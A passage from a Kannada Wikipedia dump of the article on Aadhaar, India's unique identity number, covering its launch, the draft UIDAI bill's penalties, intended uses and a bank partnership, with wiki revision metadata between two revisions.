ಹಂತದ ಯೋಜನೆಯಲ್ಲಿ ಪರಿಗಣಿಸಲಾಗುವುದು. 2010ರ ಆರಂಭದ ವೇಳೆಗೆ ಮೊದಲ ಗುಂಪಿನ ಕಾರ್ಡುಗಳು ವಿತರಿಸಲ್ಪಡುತ್ತವೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ.<ref name="business-standard.com" /> 2011ರ ಫೆಬ್ರುವರಿ ವೇಳೆಗೆ ಆಧಾರ್‌ (UID) ಸಂಖ್ಯೆಯು ಅನುಷ್ಠಾನಗೊಳ್ಳಲಿದೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ ಮತ್ತು ಭವಿಷ್ಯದಲ್ಲಿ PAN ಕಾರ್ಡುಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDಯ ಬಳಕೆಯನ್ನು ಕಡ್ಡಾಯಗೊಳಿಸುವುದರ ಕುರಿತಾಗಿಯೂ ಹಣಕಾಸು ಖಾತೆ ಅಧಿಕಾರಿಗಳು ಭರವಸೆಯನ್ನು ಹೊಂದಿದ್ದು, ಇದು ನಕಲಿ PAN ಕಾರ್ಡುಗಳ ಹಬ್ಬುವಿಕೆಯನ್ನು ನಿಗ್ರಹಿಸುವಲ್ಲಿ ನೆರವಾಗಲಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತಿದೆ. == ಯೋಜನೆಯ ಆರಂಭ == UPA ಅಧ್ಯಕ್ಷೆ ಸೋನಿಯಾ ಗಾಂಧಿ, ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿ ಮನ್‌ಮೋಹನ್‌ ಸಿಂಗ್‌, ಅಶೋಕ್ ಚವ್ಹಾಣ್, K. ಶಂಕರ್‌ನಾರಾಯಣನ್‌ ಮತ್ತು UIDAI ಮುಖ್ಯಸ್ಥ ನಂದನ್‌ ನಿಲೇಕಣಿ ಇವರುಗಳಿಂದ ಆಧಾರ್‌ ಯೋಜನೆಯು ಇತ್ತೀಚೆಗಷ್ಟೇ ಆರಂಭಿಸಲ್ಪಟ್ಟಿತು; ಮಹಾರಾಷ್ಟ್ರದ ತೆಂಬ್ಲಿ ಎಂಬ ಹಳ್ಳಿಯಲ್ಲಿ 10 ಆದಿವಾಸಿಗಳಿಗೆ ಈ ವಿಶಿಷ್ಟ IDಯನ್ನು ಒದಗಿಸುವ ಮೂಲಕ ಇದಕ್ಕೆ ಚಾಲನೆ ದೊರೆಯಿತು ಎಂಬುದು ಗಮನಾರ್ಹ ಅಂಶ. ಭಾರತದಲ್ಲಿನ ಸದರಿ ವಿಶಿಷ್ಟ ID ಯೋಜನೆಗಳ ಪ್ರಯೋಜನಗಳು ಮತ್ತು ಸಕಾರಾತ್ಮಕ ಫಲಿತಾಂಶಗಳ ಕುರಿತಾಗಿ UPA ಅಧ್ಯಕ್ಷೆ ಮತ್ತು ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರು ಈ ಸಂದರ್ಭದಲ್ಲಿ ಮಾತನಾಡಿದರು. ನಾಲ್ಕು-ವರ್ಷ-ವಯಸ್ಸಿನ ಹಿತೇಶ್ ಸೋನವಾನೆ ಎಂಬಾತ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರಿಂದ UID ಕಾರ್ಡನ್ನು ಸ್ವೀಕರಿಸಿದ ಅತಿಕಿರಿಯ ಸದಸ್ಯ ಎನಿಸಿಕೊಂಡರೆ, ರಂಜನಾ ಸೋನವಾನೆ ಎಂಬುವವರು ಆಧಾರ್‌ ಯೋಜನೆಯ ಮೂಲಕ UID / ವಿಶಿಷ್ಟ ID ಕಾರ್ಡನ್ನು ಪಡೆಯುವಲ್ಲಿನ ಮೊದಲ ಭಾರತೀಯಳು ಎನಿಸಿಕೊಂಡರು. ==ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦== '''ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦''' ಸಂಸದ್ ನಲ್ಲಿ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. * ಸಂಖ್ಯೆಯ ದುರ್ಬಳಕೆ ತಡೆಗೆ ತೆಗೆದುಕೊಂಡ ವಿಶೇಷ ಕ್ರಮದ ನಿಟ್ಟಿನಲ್ಲಿ, ಒಂದು ಕರಡು ಮಸೂದೆ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. ಪ್ರತಿಕ್ರಿಯೆಗಾಗಿ ಸಾರ್ವಜನಿಕರ ಅಭಿಪ್ರಾಯಕ್ಕಾಗಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ. ಜತೆಗೆ ಪ್ರಾಧಿಕಾರವನ್ನು ಸಂವಿಧಾನಿಕ ಸಂಸ್ಥೆಯನ್ನಾಗಿ ಮಾನ್ಯ ಮಾಡುವುದು ಈ ಮಸೂದೆಯ ಉದ್ದೇಶವಾಗಿದೆ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ (ಯುಐಡಿಎಐ) ನೀಡುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ದುರುಪಯೋಗ ಮಾಡಿಕೊಳ್ಳುವವರ ವಿರುದ್ಧ ಕಠಿಣ ಕ್ರಮಕ್ಕೆ ಒಳಪಡಿಸಲು ಸಿದ್ಧತೆ ನಡೆಸಿದೆ. ದುರುಪಯೋಗ ಸಾಬೀತಾದರೆ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಎಂದು ಪ್ರಾಧಿಕಾರದ ಹಿರಿಯ ಅಧಿಕಾರಿಯೊಬ್ಬರು ತಿಳಿಸಿದರು. * ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಪ್ರಾಧಿಕಾರದಲ್ಲಿದ್ದುಕೊಂಡು ಅಲ್ಲಿರುವ ಮಾಹಿತಿಯನ್ನು ಬಹಿರಂಗಗೊಳಿಸಿದರೆ, ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸಿದರೆ, ಅಕ್ರಮವಾಗಿ ಕಾರ್ಯ ನಿರ್ವಸಿದರೆ ಅಂತಹ ಅಪರಾಧಗಳಿಗೆ ಕಠಿಣ ಕ್ರಮ, ದಂಡ ವಿಧಿಸಲು ಉದ್ದೇಶಿತ ಕರಡು ಮಸೂದೆಯಲ್ಲಿ ಅವಕಾಶ ಇದೆ. * ಒಂದೊಮ್ಮೆ ಪ್ರಾಧಿಕಾರದ ಕೆಲಸ ವಹಿಸಿಕೊಂಡ ಕಂಪನಿಯೇ ಈ ಕೃತ್ಯ ಎಸಗಿದರೆ ಒಂದು ಲಕ್ಷದ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಮಾಹಿತಿ ಬ್ಯಾಂಕ್‌ಗೆ ಅಕ್ರಮ ಪ್ರವೇಶ ಮಾಡಲು ಯತ್ನಿಸಿದರೆ ಅಂತಹವರಿಗೆ ಮೂರು ವರ್ಷದ ವರೆಗೆ ಜೈಲು ಶಿಕ್ಷೆ ಅಥವಾ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. * ಆದರೆ ನಿಗದಿತ ನ್ಯಾಯಾಲಯಗಳು ಇಂತಹ ಮಾಹಿತಿ ಕೇಳಿದರೆ ಅದನ್ನು ನೀಡಬಹುದಾಗಿದೆ. ರಾಷ್ಟ್ರದ ಹಿತದೃಷ್ಟಿಯಿಂದ ಮಾತ್ರ ವೈಯಕ್ತಿಕ ವಿಷಯಗಳ ಮಾಹಿತಿಯನ್ನು ನೀಡಲಾಗುವುದು. ಅದೂ ಸಂಬಂಧಿಸಿದ ಇಲಾಖೆಯ ಸಚಿವಾಲಯದಿಂದ ಅನುಮತಿ ಪಡೆದರೆ ಮಾತ್ರವೇ ಮಾಹಿತಿ ನೀಡಲಾಗುವುದು. * ಕರಡು ಮಸೂದೆ ಬಗ್ಗೆ ಸಾರ್ವಜನಿಕರಿಂದ ಬರುವ ಅಭಿಪ್ರಾಯಗಳನ್ನು ಆಧರಿಸಿ ಸಂಸತ್‌ನ ಮುಂಗಾರು ಅಧಿವೇಶನದಲ್ಲಿ ಮಂಡಿಸಲಾಗುವುದು ಎಂದೂ ಅಧಿಕಾರಿಗಳು ತಿಳಿಸಿದ್ದಾರೆ.ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಮೊದಲಿಗೆ ೨೦೧೦ ರ ಆಗಸ್ಟ್ ಮತ್ತು ೨೦೧೧ ರ ಫೆಬ್ರುವರಿ ನಡುವೆ ಸಾರ್ವಜನಿಕರಿಗೆ ನೀಡಲಾಗುವುದು. ಮುಂದಿನ ನಾಲ್ಕು ವರ್ಷಗಳಲ್ಲಿ ಆರು ಕೋಟಿ ಜನರಿಗೆ ಈ ಸಂಖ್ಯೆಯನ್ನು ನೀಡುವ ಉದ್ದೇಶ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ಇದೆ. == ಇವನ್ನೂ ಗಮನಿಸಿ == * ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಸಂಖ್ಯೆ * ಸಾಮಾಜಿಕ ಭದ್ರತೆ ಸಂಖ್ಯೆ * ಬಹು-ಉದ್ದೇಶದ ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಕಾರ್ಡ್ * ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ==ವಿಶೇಷ ಮಾಹಿತಿ== *[https://www.prajavani.net/stories/national/india-on-the-way-towards-police-state-712960.html ಪೊಲೀಸ್‌ ರಾಜ್ಯದತ್ತ ಭಾರತದ ನಡೆ: 'ಆಧಾರ್'ನಿಂದ ಜನರ ಸ್ವಾತಂತ್ರ್ಯ ಮೊಟಕು;ಕುಮಾರ ಸಂಭವ ಶ್ರೀವಾಸ್ತವ Updated: 18 ಮಾರ್ಚ್ 2020,] == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * http://uidai.gov.in/ * [http://uidnumber.org UIDಯನ್ನು ಪ್ರವರ್ತಿಸುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDnumber.org] * [http://news.bbc.co.uk/2/hi/south_asia/8119070.stm ಇಂಡಿಯಾ ಟು ಲಾಂಚ್‌ 'ID ಕಾರ್ಡ್‌' ಸ್ಕೀಮ್‌] * [http://in.news.yahoo.com/48/20090626/804/tnl-govt-downloads-infosys-nilekani-he-s.html ಗೌರ್ನ್‌ಮೆಂಟ್‌ ಡೌನ್‌ಲೋಡ್ಸ್‌ ಇನ್ಫೋಸಿಸ್‌ ನಿಲೇಕಣಿ, ಹೀ ಸೇಸ್‌ ಫಸ್ಟ್‌ ಯುನಿಕ್‌ ID ಕಾರ್ಡ್‌ ವಿತಿನ್‌ 2 ಇಯರ್ಸ್‌] * [http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ವಾಟ್‌ ನಿಲೇಕಣಿ ವಿಲ್‌ ಲಾಗ್‌ ಆನ್‌ ಟು ಇನ್‌ ದಿ ID ಪ್ರಾಜೆಕ್ಟ್‌] * [http://prsindia.org/index.php?name=Sections&amp;action=bill_details&amp;id=6&amp;bill_id=1196&amp;category=46&amp;parent_category=1 ಕರಡು UIDAI ಮಸೂದೆ] * [http://www.uins.de www.uins.de] ==ಉಲ್ಲೇಖಗಳು== {{Reflist}} [[ವರ್ಗ:ಭಾರತ ಸರ್ಕಾರ]] 30tzdw9b4fudyl9bp424adszpeaf1gh 1116521 1116515 2022-08-23T15:58:04Z ChiK 40016 /* ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ */ wikitext text/x-wiki {{Infobox project | logo = [[File:Aadhaar Logo.svg|250px]] | image = | caption = "ನನ್ನ ಆಧಾರ್, ನನ್ನ ಗುರುತು"<ref name=AboutUIDAI/> | launched = {{Start date and age|df=yes|2009|01|28}}<ref name=AboutUIDAI/> | country = [[India]] | budget = {{INRConvert|11366|c}} (up to the month of August 2019)<ref name="UIDAIFinance">{{cite web|url=https://uidai.gov.in/about-uidai/about-uidai/financials.html|title=UIDAI Finance and Budge Section|website=UIDAI|access-date=29 May 2018}}</ref> | key_people = *[[Nandan Nilekani]], Co-founder of [[Infosys]], first Chairman, UIDAI *[[J. Satyanarayana]], [[Indian Administrative Service|IAS]], Chairman, UIDAI *Saurabh Garg, [[Indian Administrative Service|IAS]], CEO, UIDAI | ministry = [[Ministry of Electronics and Information Technology]], [[India]] | website = {{URL|https://uidai.gov.in}} | current_status = {{increase}} 1.31 billion holders as of October 2021<ref name="Dashboard">{{cite web|title=Aadhaar Dashboard|url=https://uidai.gov.in/aadhaar_dashboard/index.php|publisher=UIDAI|access-date=7 September 2021}}</ref> }} '''ಆಧಾರ್''' ಎಂಬುದು ೧೨ ಅಂಕೆಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯಾಗಿದ್ದು [[ಭಾರತ ಸರ್ಕಾರ]]ದ ವತಿಯಿಂದ ಇತ್ತೀಚೆಗಷ್ಟೇ ಅಂತಿಮಗೊಳಿಸಲ್ಪಟ್ಟ ಒಂದು ಉಪಕ್ರಮವಾಗಿದ್ದು, [[ಭಾರತ]]ದ ಎಲ್ಲಾ ವಯಸ್ಕ ನಾಗರಿಕರು ಮತ್ತು ನಿವಾಸಿಗಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಒಂದು ಕೇಂದ್ರೀಕೃತ ಗುರುತಿಸುವಿಕೆಯ ವ್ಯವಸ್ಥೆಯನ್ನು ಸೃಷ್ಟಿಸುವ ಮತ್ತು ನಿರ್ವಹಿಸುವ ಉದ್ದೇಶ ಇದರ ಹಿಂದಿದೆ; ಇದನ್ನು ಒಂದು ವೈವಿಧ್ಯಮಯವಾದ ಗುರುತಿಸುವಿಕೆಯ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಬಳಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ. [[ಇನ್ಫೋಸಿಸ್|ಇನ್ಫೋಸಿಸ್‌‌]]ನ ಹಿಂದಿನ ಸಹ-ಸಭಾಪತಿಯಾದ ನಂದನ್ ನಿಲೇಕಣಿಯವರನ್ನು ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿಸುವಿಕೆಯ ಪ್ರಾಧಿಕಾರದ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ) ಮುಖ್ಯಸ್ಥರನ್ನಾಗಿ ನೇಮಿಸಲಾಗಿದ್ದು, ಅವರು ಓರ್ವ ಮಂತ್ರಿಯ ದರ್ಜೆಯನ್ನು ಹೊಂದಲಿದ್ದಾರೆ.<ref name="deccanherald.com">10.2</ref> ಇನ್ಫೋಸಿಸ್‌ ಟೆಕ್ನಾಲಜೀಸ್‌ನ ನಿರ್ದೇಶಕ ಮಂಡಳಿಯಿಂದ ಕೆಳಗಿಳಿಯಲು ಅವರು ನಿರ್ಧರಿಸಿದ್ದಾರೆ.<ref name="business-standard.com">[http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ]</ref> ಈ ಪ್ರಾಧಿಕಾರವನ್ನು ಯೋಜನಾ ಆಯೋಗದ ಆಶ್ರಯ ಅಡಿಯಲ್ಲಿನ ಒಂದು ಸೇರಿಸಿದ ಕಚೇರಿಯನ್ನಾಗಿ ಘೋಷಿಸಲಾಗಿದೆ. ಹಿಂದಿ ಭಾಷೆಯಲ್ಲಿ ಬೆಂಬಲ ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುವ ಮತ್ತು 'ಆಧಾರ್‌' ಎಂಬುದಾಗಿ ಕರೆಯಲ್ಪಟ್ಟಿರುವ ಯೋಜನೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಒಂದು ಹೊಸ ಹೆಸರು ಮತ್ತು ಲಾಂಛನವನ್ನು ಅವರು ಪ್ರಕಟಿಸಿದ್ದಾರೆ. ಭಾರತೀಯ ವಿಶಿಷ್ಟವಾದ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ಅಥವಾ UIDAI, ಭಾರತೀಯ ನಿವಾಸಿಗಳಿಗೆಲ್ಲಾ ೧೨ ಅಂಕಗಳ ಸಂಖ್ಯೆಯುಳ್ಳ 'ಗುರುತಿನ-ಪತ್ರ' ನೀಡುವ ಮಹದಾಂಕ್ಷೆಯ ಯೋಜನೆ ’ಆಧಾರ್, ಏಪ್ರಿಲ್ ೨೬, ೨೦೧೦ ರಂದು, ಪುನರ್ನಿರ್ಮಾಣವಾಗಿದೆ. ಯೋಜನೆಯ ಅನುಷ್ಠಾನಕ್ಕೆ ಅನುಕೂಲವಾಗುವಂತೆ ೨೦೧೧ ನೇ ಇಸವಿಯ ಜನಗಣತಿಯ ವೇಳೆಯಲ್ಲಿ 'ಪ್ರತಿಯೊಬ್ಬ ಭಾರತೀಯನ ಎಲ್ಲಾ ಹತ್ತು ಬೆರಳುಗಳ ಬೆರಳಚ್ಚುಗಳನ್ನು ಪಡೆಯಲಾಗುತ್ತದೆ', ಹಾಗೂ 'ಕಣ್ಣಿನ ಸ್ಕ್ಯಾನಿಂಗ್' ಮಾಡಲಾಗುತ್ತದೆ. 'ಪ್ರತಿಯೊಬ್ಬರನ್ನೂ ಹದಿನಾರು ಅಂಕೆಗಳ ಒಂದು ಸಂಖ್ಯೆ ಮೂಲಕ ಗುರುತಿಸಲಾಗುವಂತೆ ವ್ಯವಸ್ಥೆ ಮಾಡಲಾಗಿದೆ'. ಮುಂದಿನ ನಾಲ್ಕೈದು ವರ್ಷಗಳಲ್ಲಿ ಕನಿಷ್ಟಪಕ್ಷ ಭಾರತದ ೬೦ ಕೋಟಿ ಜನತೆ, ಮೇಲೆತಿಳಿಸಿರುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಧಾಖಲಿಸಿರುವ ಗುರುತು ಚೀಟಿಯನ್ನು ಪಡೆಯಲಿದ್ದಾರೆ. ಎಲ್ಲಾ ಪ್ರಮುಖ ದಾಖಲಾತಿಗಳಲ್ಲೂ ಅದು ಮುಖ್ಯಸ್ಥಾನ ಪಡೆದುಕೊಳ್ಳಲಿದೆ. [[File:Aadhaar Seva Kendra, Bhopal.jpg|thumb|350px|]] == ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ == ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ (UIDAI) ಒಂದು ಶಾಸನಬದ್ಧ ಪ್ರಾಧಿಕಾರ ಮತ್ತು ಸರ್ಕಾರಿ ಇಲಾಖೆಯಾಗಿದ್ದು, ಆಧಾರ್ ಕಾಯಿದೆ 2016 ರ ನಿಬಂಧನೆಗಳನ್ನು ಅನುಸರಿಸಿ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ಮತ್ತು ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಸಚಿವಾಲಯದ ವ್ಯಾಪ್ತಿಯ ಅಡಿಯಲ್ಲಿ ಭಾರತ ಸರ್ಕಾರವು 12 ಜುಲೈ 2016 ರಂದು ಸ್ಥಾಪಿಸಲಾಗಿದೆ. == ಸ್ವರೂಪ == ಭಾರತದ ಒಂದು ಶತಕೋಟಿಗೂ ಮಿಕ್ಕಿದ ನಾಗರಿಕರ ಹಾಗೂ ಭವಿಷ್ಯದಲ್ಲಿ ಜನನವಾಗಲಿರುವ ಮಕ್ಕಳ ಗಣನೆಯನ್ನು ಸರಿಹೊಂದಿಸುವ ದೃಷ್ಟಿಯಿಂದ, ಸದರಿ ID ವ್ಯವಸ್ಥೆಯು ಒಂದು ಬೃಹತ್‌‌ ಅಕ್ಷರಸಂಖ್ಯಾಯುಕ್ತ ಸರಣಿಯಾಗಿ ಮಾರ್ಪಡುವ ಸಾಧ್ಯತೆಯಿದೆ. 16 ಕೆಬಿ ಅಥವಾ 64 ಕೆಬಿ ಸಾಮರ್ಥ್ಯದ ಒಂದು ಸಂಗ್ರಹಣಾ ಬಿಲ್ಲೆಯನ್ನು ಈ ಕಾರ್ಡಿನಲ್ಲಿ ಅಳವಡಿಸುವ ಸಾಧ್ಯತೆಯಿದೆ.ಒಂದು ಛಾಯಾಚಿತ್ರ ಮತ್ತು ಜೀವಸಂಖ್ಯಾಶಾಸ್ತ್ರದ ದತ್ತಾಂಶವನ್ನು ಸೇರ್ಪಡೆ ಮಾಡುವ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಹಂತಹಂತವಾಗಿ ಯೋಜಿಸಲಾಗುವುದು.<ref>[http://www.igovernment.in/site/Unique-ID-for-all-Indian-citizens-soon/ ]</ref> == ಉದ್ದೇಶ ಮತ್ತು ಬಳಕೆ == ಭಾರತೀಯ ನಾಗರಿಕರನ್ನು ಗುರುತಿಸುವುದಕ್ಕಾಗಿ ಸದರಿ IDಯನ್ನು ಮೂಲಭೂತವಾಗಿ ಸಿದ್ಧಗೊಳಿಸಲಾಗುತ್ತಿದ್ದು, ಇದರಿಂದ ಅಕ್ರಮ ವಲಸೆಗಾರರು ಮತ್ತು ಭಯೋತ್ಪಾದಕರನ್ನು ಗುರುತಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆಯಾದ್ದರಿಂದ ದೇಶಕ್ಕೆ ಹಾಗೂ ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಉತ್ತಮ ಭದ್ರತೆಯನ್ನು ಒದಗಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ಆದಾಗ್ಯೂ, ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಗುರುತಿನ ಪ್ರತಿಷ್ಠಾಪನೆಯ ಸುಗಮತೆಯನ್ನು ಒದಗಿಸುವಲ್ಲಿನ ಅದರ ಸಾಮರ್ಥ್ಯದಲ್ಲಿ ಈ IDಯ ನಿಜವಾದ ಶಕ್ತಿಯು ಅಡಗಿದೆ; ವೈವಿಧ್ಯಮಯವಾದ ಸರ್ಕಾರಿ ಮತ್ತು ಖಾಸಗಿ-ವಲಯ ಸೇವೆಗಳಿಗೆ ಭಾರತೀಯ ನಾಗರಿಕರು ಸಂಪರ್ಕ ಹೊಂದಲು ಇದು ಅವಕಾಶ ಕಲ್ಪಿಸುತ್ತದೆ. ಹೊಸ ID ವ್ಯವಸ್ಥೆಯಿಂದ ನಾಗರಿಕರಿಗೆ ದೊರಕುವ ಸಂಭವನೀಯ ಪ್ರಯೋಜನಗಳಲ್ಲಿ ಈ ಕೆಳಗಿನವು ಸೇರಿವೆ: 1) ಅರ್ಹತೆ ಹೊಂದಿರುವ ಜನರು ಆಹಾರ, ಶಕ್ತಿ, ಶಿಕ್ಷಣ, ಇತ್ಯಾದಿ ಸವಲತ್ತುಗಳನ್ನು ಸ್ವೀಕರಿಸುವಂತಾಗಲು ಈ ವಲಯಗಳ ಮೇಲೆ ನೀಡುವ ಅನುದಾನಗಳು. 2) ಬ್ಯಾಂಕ್‌ ಖಾತೆಗಳ ತೆರೆಯುವಿಕೆ 3) ಹೊಸ ದೂರವಾಣಿ, ಮೊಬೈಲ್‌ ಅಥವಾ ಅಂತರ್ಜಾಲ ಸಂಪರ್ಕಗಳನ್ನು ಪಡೆಯುವಿಕೆ, 4) ಹೊಸ ದೀಪ ಅಥವಾ ಅನಿಲ ಸಂಪರ್ಕಗಳು 5) ರಹದಾರಿಯೊಂದನ್ನು (ಪಾಸ್‌ಪೋರ್ಟ್‌) ಪಡೆಯುವಿಕೆ 6) ಇದೇ ಕಾರ್ಡು ಒಂದು ಚಾಲನಾ ಪರವಾನಗಿಯಂತೆಯೂ ಕಾರ್ಯನಿರ್ವಹಿಸಬಹುದು ನೀವು ಮಾಡಿದ ಸಂಚಾರಿ ಉಲ್ಲಂಘನೆಯ ದಾಖಲೆಗಳನ್ನು ಶೇಖರಿಸಿಟ್ಟುಕೊಳ್ಳಬಹುದು 7) ಇದು ನಿಮ್ಮ ಮತದಾರರ ಕಾರ್ಡ್‌ ಆಗಿಯೂ ಪಾತ್ರವಹಿಸಬಹುದು 8) ಇದರಿಂದ ಕುಟುಂಬ ವಂಶಾನ್ವೇಷಣೆಯ ಜಾಡುಹಿಡಿಯಬಹುದು ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ 